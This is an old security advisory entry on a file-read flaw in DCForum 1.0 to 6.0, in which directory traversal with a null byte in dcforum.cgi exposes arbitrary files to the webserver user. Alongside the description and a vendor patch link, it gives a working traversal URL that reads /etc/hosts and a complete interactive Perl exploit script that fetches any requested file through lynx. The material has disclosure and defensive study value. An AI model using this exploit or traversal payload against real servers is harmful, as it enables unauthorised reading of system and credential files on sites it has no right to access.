COMMAND
DCForum
SYSTEMS AFFECTED
DCForum all versions of DCForum 1.0 - 6.0(Current)
PROBLEM
Following is based on a Cgi Security Advisory #2. Any file can
be read with the permissions of user nobody(or webserver).
Posible root comprimise in /dcforum/dcboard.cgi script. Command
execution is not allowed (Read Only). This has only been tested
on unix and linux versions and is unknown if windows versions are
effected.
It causes the deletion of dcboard.cgi if you ask it to view its
own source. Cause for this is unknown as of now since we do not
have the source.
For the above reason authors cannot release the exploit itself at
this point in time. They would release it but it caused to much
damage by "clicking on a link". If it simply gave you passwd file
that would be one thing but it deleted a data and perhaps more not
know of yet.
SteeLe added following. Simple exploitation:
http://localhost/dcforum/dcforum.cgi?az=list&forum=../../../../../.././etc/hosts%00
The code:
#!/usr/bin/perl
# DC Forum Vulnerablitiy(Found In Versions From 1.0 - 6.0 According To CGISecurity.com Advisory)
# Exploits Vulnerability That Allows Remote File Reading
# By SteeLe
# BEGIN { open(STDERR,">errors.txt"); } error checking
$lynx = "/usr/bin/lynx"; # specify
$site = $ARGV[0];
$cgi = $ARGV[1];
$inet = inet_aton($site);
die "\n\t--- Usage:$0 <site> <cgi location,duh> ---" if(@ARGV == '0' ||
@ARGV < 2);
print "\n\t--- DCForum 1.0 - 6.0 Exploit ---";
print "\n\t--- By the cool fellas at * ---\n\n";
while(true) { # yea i think I stole this from the pollex.pl , uh thanks.
print "[dcforum]Option:";
$action = <STDIN>;
chomp($action);
print "Valid Options: r(read files, usage r <file>), q(quit)\n" if($action ne "r" || $action ne "q");
if ($action eq "r") {
print "\nFile(to read):";
$file = <STDIN>;
chomp($file);
# Old fashion shit, and I was lazy so be happy
$url = "?az=list&file=$file%00";
$site = `$lynx http://$site$cgi$url`;
print $site;
}
elsif ($action eq "q") {
print "now exiting program\n";
exit;
}
}
SOLUTION
The vendor has been contacted about this serious security problem.
A patch was issues within 1 hour of the finding of this hole.
http://www.dcscripts.com/dcforum/dcfNews/124.html